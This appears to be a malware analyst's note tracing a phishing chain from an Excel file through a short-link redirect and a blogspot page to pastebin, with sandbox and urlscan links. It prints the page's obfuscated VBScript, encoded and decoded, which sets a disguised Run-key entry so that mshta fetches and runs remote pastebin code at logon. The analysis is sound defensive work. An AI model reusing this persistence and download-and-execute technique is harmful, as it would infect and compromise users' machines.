am I missing something here?
xls:mshta > bitly > blogspot > pastebin > ?
awaiting payload?
--------------------------------------------
https://app.any.run/tasks/83bf663d-6020-4186-970e-3c50b842510c
xls >> http://j.mp/Llunalayzgmy7xczxsazx8382s
>>
<html>
<head><title>Bitly</title></head>
<body><a href="https://newandupdates1234.blogspot.com/p/john-osas.html">moved here</a></body>
</html>
--------------------------------------------
https://urlscan.io/result/24bbfc8e-fb4c-458b-8ff3-19fc81af9058#transactions
https://newandupdates1234.blogspot.com/p/john-osas.html
>> <snip>
javascript:document.write
%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%56%42%53%63%72%69%70%74%22%3E%0A%0A%0A%53%65%74%20%58%5F%77%73%20%3D%20%43%72%65%61%74%65%4F%62%6A%65%63%74%28%22%57%53%63%72%69%70%74%2E%53%68%65%6C%6C%22%29%0A%50%61%5F%32%64%61%20%3D%20%22%48%4B%43%55%5C%53%6F%66%74%77%61%72%65%5C%4D%69%63%72%6F%73%6F%66%74%5C%57%69%6E%64%6F%77%73%5C%43%75%72%72%65%6E%74%56%65%72%73%69%6F%6E%5C%52%75%6E%5C%57%69%6E%55%70%64%61%74%65%22%0A%58%5F%77%73%2E%52%65%67%57%72%69%74%65%20%50%61%5F%32%64%61%2C%22%6D%73%68%74%61%2E%65%78%65%20%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%72%61%77%2F%65%44%53%73%42%61%56%51%22%2C%22%52%45%47%5F%45%58%50%41%4E%44%5F%53%5A%22%0A%0A%0A%0A%0A%73%65%6C%66%2E%63%6C%6F%73%65%0A%3C%2F%73%63%72%69%70%74%3E%0A%0A
>>
<script language="VBScript">
Set X_ws = CreateObject("WScript.Shell")
Pa_2da = "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate"
X_ws.RegWrite Pa_2da,"mshta.exe http://pastebin.com/raw/eDSsBaVQ","REG_EXPAND_SZ"
self.close
</script>
--------------------------------------------
https://urlscan.io/result/155b54d4-b1f2-4ada-afdc-672c84f205d2
http://pastebin.com/raw/eDSsBaVQ
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%6A%61%76%61%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%36%43%25%36%31%25%36%45%25%36%37%25%37%35%25%36%31%25%36%37%25%36%35%25%33%44%25%32%32%25%35%36%25%34%32%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%32%25%33%45%25%30%41%25%30%41%25%30%41%25%30%41%25%30%41%25%37%33%25%36%35%25%36%43%25%36%36%25%32%45%25%36%33%25%36%43%25%36%46%25%37%33%25%36%35%25%30%41%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%30%41%25%30%41%27%29%29%3C%2F%73%63%72%69%70%74%3E%0A'))</script>
>>
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%56%42%53%63%72%69%70%74%22%3E%0A%0A%0A%0A%0A%73%65%6C%66%2E%63%6C%6F%73%65%0A%3C%2F%73%63%72%69%70%74%3E%0A%0A'))</script>
>>
<script language="VBScript">
self.close
</script>
Comments